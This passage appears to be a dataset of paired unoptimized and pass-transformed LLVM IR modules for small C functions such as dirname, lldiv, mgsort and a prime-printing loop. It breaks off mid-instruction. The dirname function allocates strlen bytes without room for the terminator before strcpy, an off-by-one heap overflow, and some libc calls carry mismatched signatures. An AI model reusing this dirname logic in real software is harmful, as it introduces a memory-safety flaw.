; ModuleID = '<stdin>' source_filename = "/tmp/tmphyl33c2c.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpx3_2u7i0.c' source_filename = "/tmp/tmpx3_2u7i0.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @dirname(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 store ptr %0, ptr %3, align 8 %6 = load ptr, ptr %3, align 8 %7 = call i64 @is_directory(ptr noundef %6) %8 = icmp ne i64 %7, 0 br i1 %8, label %9, label %11 9: ; preds = %1 %10 = load ptr, ptr %3, align 8 store ptr %10, ptr %2, align 8 br label %27 11: ; preds = %1 %12 = load ptr, ptr %3, align 8 %13 = call i32 @strlen(ptr noundef %12) %14 = sext i32 %13 to i64 %15 = mul i64 %14, 1 %16 = trunc i64 %15 to i32 %17 = call ptr @malloc(i32 noundef %16) store ptr %17, ptr %4, align 8 %18 = load ptr, ptr %4, align 8 %19 = load ptr, ptr %3, align 8 %20 = call i32 @strcpy(ptr noundef %18, ptr noundef %19) %21 = load ptr, ptr %4, align 8 %22 = call ptr @rindex(ptr noundef %21, i8 noundef signext 47) store ptr %22, ptr %5, align 8 %23 = load ptr, ptr %5, align 8 %24 = getelementptr inbounds i8, ptr %23, i64 1 store i8 0, ptr %24, align 1 %25 = load ptr, ptr %4, align 8 %26 = call ptr @dirname(ptr noundef %25) store ptr %26, ptr %2, align 8 br label %27 27: ; preds = %11, %9 %28 = load ptr, ptr %2, align 8 ret ptr %28 } declare i64 @is_directory(ptr noundef) #1 declare ptr @malloc(i32 noundef) #1 declare i32 @strlen(ptr noundef) #1 declare i32 @strcpy(ptr noundef, ptr noundef) #1 declare ptr @rindex(ptr noundef, i8 noundef signext) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpx3_2u7i0.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @dirname(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 store ptr %0, ptr %3, align 8 %6 = load ptr, ptr %3, align 8 %7 = call i64 @is_directory(ptr noundef %6) %8 = icmp ne i64 %7, 0 br i1 %8, label %9, label %11 9: ; preds = %1 %10 = load ptr, ptr %3, align 8 store ptr %10, ptr %2, align 8 br label %27 11: ; preds = %1 %12 = load ptr, ptr %3, align 8 %13 = call i32 @strlen(ptr noundef %12) %14 = sext i32 %13 to i64 %15 = mul i64 %14, 1 %16 = trunc i64 %15 to i32 %17 = call ptr @malloc(i32 noundef %16) store ptr %17, ptr %4, align 8 %18 = load ptr, ptr %4, align 8 %19 = load ptr, ptr %3, align 8 %20 = call i32 @strcpy(ptr noundef %18, ptr noundef %19) %21 = load ptr, ptr %4, align 8 %22 = call ptr @rindex(ptr noundef %21, i8 noundef signext 47) store ptr %22, ptr %5, align 8 %23 = load ptr, ptr %5, align 8 %24 = getelementptr inbounds i8, ptr %23, i64 1 store i8 0, ptr %24, align 1 %25 = load ptr, ptr %4, align 8 %26 = call ptr @dirname(ptr noundef %25) store ptr %26, ptr %2, align 8 br label %27 27: ; preds = %11, %9 %28 = load ptr, ptr %2, align 8 ret ptr %28 } declare i64 @is_directory(ptr noundef) #1 declare ptr @malloc(i32 noundef) #1 declare i32 @strlen(ptr noundef) #1 declare i32 @strcpy(ptr noundef, ptr noundef) #1 declare ptr @rindex(ptr noundef, i8 noundef signext) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp7fkfik5d.c' source_filename = "/tmp/tmp7fkfik5d.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%cc\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @reset() #0 { %1 = call i32 @printf(ptr noundef @.str, i32 noundef 27) ret void } declare i32 @printf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp7fkfik5d.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%cc\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @reset() #0 { %1 = call i32 @printf(ptr noundef @.str, i32 noundef 27) ret void } declare i32 @printf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp3579o28l.c' source_filename = "/tmp/tmp3579o28l.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @mgsort(ptr noundef %0, i32 noundef %1, i32 noundef %2, ptr noundef %3) #0 { %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca ptr, align 8 %9 = alloca i32, align 4 %10 = alloca i32, align 4 store ptr %0, ptr %5, align 8 store i32 %1, ptr %6, align 4 store i32 %2, ptr %7, align 4 store ptr %3, ptr %8, align 8 store i32 0, ptr %9, align 4 %11 = load i32, ptr %6, align 4 %12 = sub nsw i32 %11, 1 store i32 %12, ptr %10, align 4 %13 = load ptr, ptr %5, align 8 %14 = load i32, ptr %6, align 4 %15 = load i32, ptr %7, align 4 %16 = load i32, ptr %9, align 4 %17 = load i32, ptr %10, align 4 %18 = load ptr, ptr %8, align 8 %19 = call i32 @mgsort_intern(ptr noundef %13, i32 noundef %14, i32 noundef %15, i32 noundef %16, i32 noundef %17, ptr noundef %18) ret i32 %19 } declare i32 @mgsort_intern(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp3579o28l.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @mgsort(ptr noundef %0, i32 noundef %1, i32 noundef %2, ptr noundef %3) #0 { %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 %8 = alloca ptr, align 8 %9 = alloca i32, align 4 %10 = alloca i32, align 4 store ptr %0, ptr %5, align 8 store i32 %1, ptr %6, align 4 store i32 %2, ptr %7, align 4 store ptr %3, ptr %8, align 8 store i32 0, ptr %9, align 4 %11 = load i32, ptr %6, align 4 %12 = sub nsw i32 %11, 1 store i32 %12, ptr %10, align 4 %13 = load ptr, ptr %5, align 8 %14 = load i32, ptr %6, align 4 %15 = load i32, ptr %7, align 4 %16 = load i32, ptr %9, align 4 %17 = load i32, ptr %10, align 4 %18 = load ptr, ptr %8, align 8 %19 = call i32 @mgsort_intern(ptr noundef %13, i32 noundef %14, i32 noundef %15, i32 noundef %16, i32 noundef %17, ptr noundef %18) ret i32 %19 } declare i32 @mgsort_intern(ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpi9cjd3cr.c' source_filename = "/tmp/tmpi9cjd3cr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.TYPE_3__ = type { i64, i64 } ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local { i64, i64 } @lldiv(i64 noundef %0, i64 noundef %1) #0 { %3 = alloca %struct.TYPE_3__, align 8 %4 = alloca i64, align 8 %5 = alloca i64, align 8 store i64 %0, ptr %4, align 8 store i64 %1, ptr %5, align 8 %6 = load i64, ptr %4, align 8 %7 = icmp sgt i64 %6, 0 br i1 %7, label %8, label %16 8: ; preds = %2 %9 = load i64, ptr %5, align 8 %10 = icmp slt i64 %9, 0 br i1 %10, label %11, label %16 11: ; preds = %8 %12 = load i64, ptr %4, align 8 %13 = sub nsw i64 0, %12 store i64 %13, ptr %4, align 8 %14 = load i64, ptr %5, align 8 %15 = sub nsw i64 0, %14 store i64 %15, ptr %5, align 8 br label %16 16: ; preds = %11, %8, %2 %17 = load i64, ptr %4, align 8 %18 = load i64, ptr %5, align 8 %19 = sdiv i64 %17, %18 %20 = getelementptr inbounds %struct.TYPE_3__, ptr %3, i32 0, i32 0 store i64 %19, ptr %20, align 8 %21 = load i64, ptr %4, align 8 %22 = load i64, ptr %5, align 8 %23 = srem i64 %21, %22 %24 = getelementptr inbounds %struct.TYPE_3__, ptr %3, i32 0, i32 1 store i64 %23, ptr %24, align 8 %25 = load i64, ptr %4, align 8 %26 = icmp slt i64 %25, 0 br i1 %26, label %27, label %43 27: ; preds = %16 %28 = load i64, ptr %5, align 8 %29 = icmp sgt i64 %28, 0 br i1 %29, label %30, label %43 30: ; preds = %27 %31 = getelementptr inbounds %struct.TYPE_3__, ptr %3, i32 0, i32 1 %32 = load i64, ptr %31, align 8 %33 = icmp sgt i64 %32, 0 br i1 %33, label %34, label %42 34: ; preds = %30 %35 = getelementptr inbounds %struct.TYPE_3__, ptr %3, i32 0, i32 0 %36 = load i64, ptr %35, align 8 %37 = add nsw i64 %36, 1 store i64 %37, ptr %35, align 8 %38 = load i64, ptr %5, align 8 %39 = getelementptr inbounds %struct.TYPE_3__, ptr %3, i32 0, i32 1 %40 = load i64, ptr %39, align 8 %41 = sub nsw i64 %40, %38 store i64 %41, ptr %39, align 8 br label %42 42: ; preds = %34, %30 br label %43 43: ; preds = %42, %27, %16 %44 = load { i64, i64 }, ptr %3, align 8 ret { i64, i64 } %44 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpi9cjd3cr.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.TYPE_3__ = type { i64, i64 } ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local { i64, i64 } @lldiv(i64 noundef %0, i64 noundef %1) #0 { %3 = alloca %struct.TYPE_3__, align 8 %4 = alloca i64, align 8 %5 = alloca i64, align 8 store i64 %0, ptr %4, align 8 store i64 %1, ptr %5, align 8 %6 = load i64, ptr %4, align 8 %7 = icmp sgt i64 %6, 0 br i1 %7, label %8, label %16 8: ; preds = %2 %9 = load i64, ptr %5, align 8 %10 = icmp slt i64 %9, 0 br i1 %10, label %11, label %16 11: ; preds = %8 %12 = load i64, ptr %4, align 8 %13 = sub nsw i64 0, %12 store i64 %13, ptr %4, align 8 %14 = load i64, ptr %5, align 8 %15 = sub nsw i64 0, %14 store i64 %15, ptr %5, align 8 br label %16 16: ; preds = %11, %8, %2 %17 = load i64, ptr %4, align 8 %18 = load i64, ptr %5, align 8 %19 = sdiv i64 %17, %18 %20 = getelementptr inbounds %struct.TYPE_3__, ptr %3, i32 0, i32 0 store i64 %19, ptr %20, align 8 %21 = load i64, ptr %4, align 8 %22 = load i64, ptr %5, align 8 %23 = srem i64 %21, %22 %24 = getelementptr inbounds %struct.TYPE_3__, ptr %3, i32 0, i32 1 store i64 %23, ptr %24, align 8 %25 = load i64, ptr %4, align 8 %26 = icmp slt i64 %25, 0 br i1 %26, label %27, label %43 27: ; preds = %16 %28 = load i64, ptr %5, align 8 %29 = icmp sgt i64 %28, 0 br i1 %29, label %30, label %43 30: ; preds = %27 %31 = getelementptr inbounds %struct.TYPE_3__, ptr %3, i32 0, i32 1 %32 = load i64, ptr %31, align 8 %33 = icmp sgt i64 %32, 0 br i1 %33, label %34, label %42 34: ; preds = %30 %35 = getelementptr inbounds %struct.TYPE_3__, ptr %3, i32 0, i32 0 %36 = load i64, ptr %35, align 8 %37 = add nsw i64 %36, 1 store i64 %37, ptr %35, align 8 %38 = load i64, ptr %5, align 8 %39 = getelementptr inbounds %struct.TYPE_3__, ptr %3, i32 0, i32 1 %40 = load i64, ptr %39, align 8 %41 = sub nsw i64 %40, %38 store i64 %41, ptr %39, align 8 br label %42 42: ; preds = %34, %30 br label %43 43: ; preds = %42, %27, %16 %44 = load { i64, i64 }, ptr %3, align 8 ret { i64, i64 } %44 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpalmwum_2.c' source_filename = "/tmp/tmpalmwum_2.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [24 x i8] c"the %d th prime is %ld\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 10000, ptr %2, align 4 %4 = call i32 @get_prime(i32 noundef 10000) %5 = call i32 @printf(ptr noundef @.str, i32 noundef 10000, i32 noundef %4) %6 = call i32 (...) @getchar() store i32 1, ptr %3, align 4 br label %7 7: ; preds = %15, %0 %8 = load i32, ptr %3, align 4 %9 = icmp slt i32 %8, 10000 br i1 %9, label %10, label %18 10: ; preds = %7 %11 = load i32, ptr %3, align 4 %12 = load i32, ptr %3, align 4 %13 = call i32 @get_prime(i32 noundef %12) %14 = call i32 @printf(ptr noundef @.str, i32 noundef %11, i32 noundef %13) br label %15 15: ; preds = %10 %16 = load i32, ptr %3, align 4 %17 = add nsw i32 %16, 1 store i32 %17, ptr %3, align 4 br label %7, !llvm.loop !6 18: ; preds = %7 ret i32 0 } declare i32 @printf(ptr noundef, i32 noundef, i32 noundef) #1 declare i32 @get_prime(i32 noundef) #1 declare i32 @getchar(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpalmwum_2.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [24 x i8] c"the %d th prime is %ld\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 10000, ptr %2, align 4 %4 = call i32 @get_prime(i32 noundef 10000) %5 = call i32 @printf(ptr noundef @.str, i32 noundef 10000, i32 noundef %4) %6 = call i32 (...) @getchar() store i32 1, ptr %3, align 4 %7 = load i32, ptr %3, align 4 %8 = icmp slt i32 %7, 10000 br i1 %8, label %.lr.ph, label %19 .lr.ph: ; preds = %0 br label %9 9: ; preds = %.lr.ph, %14 %10 = load i32, ptr %3, align 4 %11 = load i32, ptr %3, align 4 %12 = call i32 @get_prime(i32 noundef %11) %13 = call i32 @printf(ptr noundef @.str, i32 noundef %10, i32 noundef %12) br label %14 14: ; preds = %9 %15 = load i32, ptr %3, align 4 %16 = add nsw i32 %15, 1 store i32 %16, ptr %3, align 4 %17 = load i32, ptr %3, align 4 %18 = icmp slt i32 %17, 10000 br i1 %18, label %9, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %14 br label %19 19: ; preds = %._crit_edge, %0 ret i32 0 } declare i32 @printf(ptr noundef, i32 noundef, i32 noundef) #1 declare i32 @get_prime(i32 noundef) #1 declare i32 @getchar(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpgy6mck0n.c' source_filename = "/tmp/tmpgy6mck0n.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 store i32 0, ptr %1, align 4 %2 = call i32 @sum1(i32 noundef 0) %3 = icmp eq i32 0, %2 %4 = zext i1 %3 to i32 %5 = call i32 @assert(i32 noundef %4) %6 = call i32 @sum1(i32 noundef 1) %7 = icmp eq i32 1, %6 %8 = zext i1 %7 to i32 %9 = call i32 @assert(i32 noundef %8) %10 = call i32 @sum1(i32 noundef 10) %11 = icmp eq i32 55, %10 %12 = zext i1 %11 to i32 %13 = call i32 @assert(i32 noundef %12) %14 = call i32 @sum1(i32 noundef 100) %15 = icmp eq i32 5050, %14 %16 = zext i1 %15 to i32 %17 = call i32 @assert(i32 noundef %16) %18 = call i32 @sum2(i32 noundef 0) %19 = icmp eq i32 0, %18 %20 = zext i1 %19 to i32 %21 = call i32 @assert(i32 noundef %20) %22 = call i32 @sum2(i32 noundef 1) %23 = icmp eq i32 1, %22 %24 = zext i1 %23 to i32 %25 = call i32 @assert(i32 noundef %24) %26 = call i32 @sum2(i32 noundef 10) %27 = icmp eq i32 55, %26 %28 = zext i1 %27 to i32 %29 = call i32 @assert(i32 noundef %28) %30 = call i32 @sum2(i32 noundef 100) %31 = icmp eq i32 5050, %30 %32 = zext i1 %31 to i32 %33 = call i32 @assert(i32 noundef %32) %34 = call i32 @sum3(i32 noundef 0) %35 = icmp eq i32 0, %34 %36 = zext i1 %35 to i32 %37 = call i32 @assert(i32 noundef %36) %38 = call i32 @sum3(i32 noundef 1) %39 = icmp eq i32 1, %38 %40 = zext i1 %39 to i32 %41 = call i32 @assert(i32 noundef %40) %42 = call i32 @sum3(i32 noundef 10) %43 = icmp eq i32 55, %42 %44 = zext i1 %43 to i32 %45 = call i32 @assert(i32 noundef %44) %46 = call i32 @sum3(i32 noundef 100) %47 = icmp eq i32 5050, %46 %48 = zext i1 %47 to i32 %49 = call i32 @assert(i32 noundef %48) ret i32 0 } declare i32 @assert(i32 noundef) #1 declare i32 @sum1(i32 noundef) #1 declare i32 @sum2(i32 noundef) #1 declare i32 @sum3(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpgy6mck0n.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 store i32 0, ptr %1, align 4 %2 = call i32 @sum1(i32 noundef 0) %3 = icmp eq i32 0, %2 %4 = zext i1 %3 to i32 %5 = call i32 @assert(i32 noundef %4) %6 = call i32 @sum1(i32 noundef 1) %7 = icmp eq i32 1, %6 %8 = zext i1 %7 to i32 %9 = call i32 @assert(i32 noundef %8) %10 = call i32 @sum1(i32 noundef 10) %11 = icmp eq i32 55, %10 %12 = zext i1 %11 to i32 %13 = call i32 @assert(i32 noundef %12) %14 = call i32 @sum1(i32 noundef 100) %15 = icmp eq i32 5050, %14 %16 = zext i1 %15 to i32 %17 = call i32 @assert(i32 noundef %16) %18 = call i32 @sum2(i32 noundef 0) %19 = icmp eq i32 0, %18 %20 = zext i1 %19 to i32 %21 = call i32 @assert(i32 noundef %20) %22 = call i32 @sum2(i32 noundef 1) %23 = icmp eq i32 1, %22 %24 = zext i1 %23 to i32 %25 = call i32 @assert(i32 noundef %24) %26 = call i32 @sum2(i32 noundef 10) %27 = icmp eq i32 55, %26 %28 = zext i1 %27 to i32 %29 = call i32 @assert(i32 noundef %28) %30 = call i32 @sum2(i32 noundef 100) %31 = icmp eq i32 5050, %30 %32 = zext i1 %31 to i32 %33 = call i32 @assert(i32 noundef %32) %34 = call i32 @sum3(i32 noundef 0) %35 = icmp eq i32 0, %34 %36 = zext i1 %35 to i32 %37 = call i32 @assert(i32 noundef %36) %38 = call i32 @sum3(i32 noundef 1) %39 = icmp eq i32 1, %38 %40 = zext i1 %39 to i32 %41 = call i32 @assert(i32 noundef %40) %42 = call i32 @sum3(i32 noundef 10) %43 = icmp eq i32 55, %42 %44 = zext i1 %43 to i32 %45 = call i32 @assert(i32 noundef %44) %46 = call i32 @sum3(i32 noundef 100) %47 = icmp eq i32 5050, %46 %48 = zext 